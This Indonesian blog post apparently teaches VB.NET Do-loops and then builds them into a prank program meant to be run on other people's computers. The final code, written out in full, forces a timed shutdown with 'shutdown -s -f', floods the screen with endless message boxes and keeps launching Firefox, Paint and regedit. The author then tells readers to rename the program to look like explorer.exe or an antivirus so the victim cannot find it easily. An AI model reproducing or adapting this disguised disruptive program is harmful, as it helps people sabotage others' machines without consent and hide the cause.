Infinite Loop atau perulangan tak terbatas bisa terjadi apabila kita tidak memberikan kondisi yang jelas (benar) terhadap struktur perulangan kita. Infinite loop bisa berdampak fatal pada sebuah web hosting. Apabila anda seorang web developer dan pernah memberikan kondisi yang kurang jelas pada struktur pengulangan pada project anda. Pasti akan memberatkan proses web server anda.

Seperti yang pernah saya lakukan pada laptop saya sendiri yang saya install dengan apache (utilitas buat webserver). Saat itu saya lagi ada kerjaan untuk merapikan log, dimana untuk merapikan log saya harus meng-explode setiap baris yang tidak diperlukan dan merapikan log tersebut.

Karena adanya kondisi yang salah pada struktur perulangan file php yang aku esekusi tadi. Eksekusi perbaris yang seharusnya terbatas menjadi tak terbatas, terus menerus dan memberatkan proses daemon apache saya. Hingga fan laptop saya terdengar lebih keras dari biasanya dan cepat panas.

Tujuan saya disini bukan mengajari anda melakukan hal yang seperti saya lakukan dahulu, tapi bagaimana menggunakan infinite loop untuk menjahili orang lain. Let’s check it out.

Pertama buka Microsoft Visual Studio Anda, Kemudian Klik File >> New Project (atau menekan Ctrl + N)

Kemudian pilihlah Windows Form Application, dan berilah nama terserah pada project tersebut.

Setelah itu klik ganda pada desain Form1, kemudian ketikkan koding berikut ini.

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim ulang As Integer = 0 'ulang = 0
        Do Until ulang > 10 'ulangi hingga 0 > 10
            ulang = ulang + 1 'pertambahan 1
            MessageBox.Show("MARI BERHITUNG : " & ulang, "BENTUK ASLI DO UNTIL - LOOP" )
        Loop
    End Sub
End Class

Nah ini bentuk kondisi perulangan yang benar dari perulangan Do Until – Loop, oke silahkan di run dengan menekan Ctrl + f5. Dan buatlah project baru lagi, atau bisa mereplace koding yang tadi dengan koding dibawah ini.

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim ulang As Integer = 0 'ulang = 0
        Do While ulang < 10 'ulangi hingga 0 < 10
            ulang = ulang + 1 'pertambahan 1
            MessageBox.Show("MARI BERHITUNG : " & ulang, "BENTUK ASLI DO WHILE - LOOP" )
        Loop
    End Sub
End Class

Tujuan saya memberikan bentuk asli dari perulangan Do Until – Loop dan Do While – Loop. Agar kalian tahu bentuk asli sebelum kita modifikasi menjadi infinite loop (perulangan tak terbatas). Oke akhirnya kita sampai pada akhir perbincangan, buatlah project baru lagi, atau bisa mereplace koding yang tadi dengan koding dibawah ini.

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim ulang As Integer = 0 'ulang = 0
        Do
            ulang = ulang + 1 'pertambahan 1
            MessageBox.Show("MARI BERHITUNG : " & ulang, "BENTUK PENGULANGAN TAK TERBATAS DO UNTIL - LOOP" )
        Loop Until False
    End Sub
End Class

Diatas merupakan kondisi yang salah untuk bentuk perulangan Do – Loop Until, ini akan menyebabkan perulangan tak terbatas. Dan berikut ini adalah bentuk dari perulangan Do – Loop While.

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim ulang As Integer = 0 'ulang = 0
        Do
            ulang = ulang + 1 'pertambahan 1
            MessageBox.Show("MARI BERHITUNG : " & ulang, "BENTUK PENGULANGAN TAK TERBATAS DO WHILE - LOOP" )
        Loop While True
    End Sub
End Class

Dan agar lebih ekstrem lagi mengerjain orang lainnya, kita sedikit modifikasi di script koding tadi. Terserah anda mau menggunakan bentuk perulangan tak terbatas Do – Loop Until maupun Do – Loop While. Itu terserah anda, lets cekibroot brooo

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        MessageBox.Show("BYE BYE, UPS KENA DEH", "JEBAKAN BETMEN" )
        Process.Start("cmd", "/k shutdown -s -f -t 3000" ) '3000 detik bisa dirubah sesuai kehendak
        Dim ulang As Integer = 0 'ulang = 0
        Do
            ulang = ulang + 1 'pertambahan 1
            MessageBox.Show("MARI BERHITUNG, SAMPAI LAPTOP INI MATI. HAHAHHA : " & ulang, "BENTUK ASLI DO WHILE - LOOP" )
            Process.Start("firefox.exe" ) 'start proses mozilla firefox
            Process.Start("mspaint" ) 'start proses windows microsoft paint
            Process.Start("regedit" ) 'start proses registry editor
        Loop Until False
    End Sub
End Class

Coba run, tadaaa 1000 jalan untuk menjadi jahil terbuka lebar untukmu… hahahhaha. Dan masih ada satu masalah lagi yaitu karena proses aplikasi masih terlalu terlihat mencolok maka kita modifikasi nama proses dari aplikasi ini. Agar proses aplikasi tak mudah ditemukan, buatlah nama aplikasi ini menjadi aplikasi yang biasa dijalankan. Semisal explorer.exe, antivirus dll, misal kita plesetkan menjadi expl0rer.exe, exxplorer.exe dsb. Cekicew brooo :

Klik menu Project > namaproject Properties >> View UAC Setting. Dan pada Assembly name dan juga Root namespace ubah sesuai keinginan anda.

Infinite Loop bisa menjadi project jahilll yaang lebih suuuuuuper kalau dimodifikasi lagi. Tunggu aksi modifikasi dari saya selanjutnya.

[POST INI BELUM SELESAI, LANJUT BESOK BRO]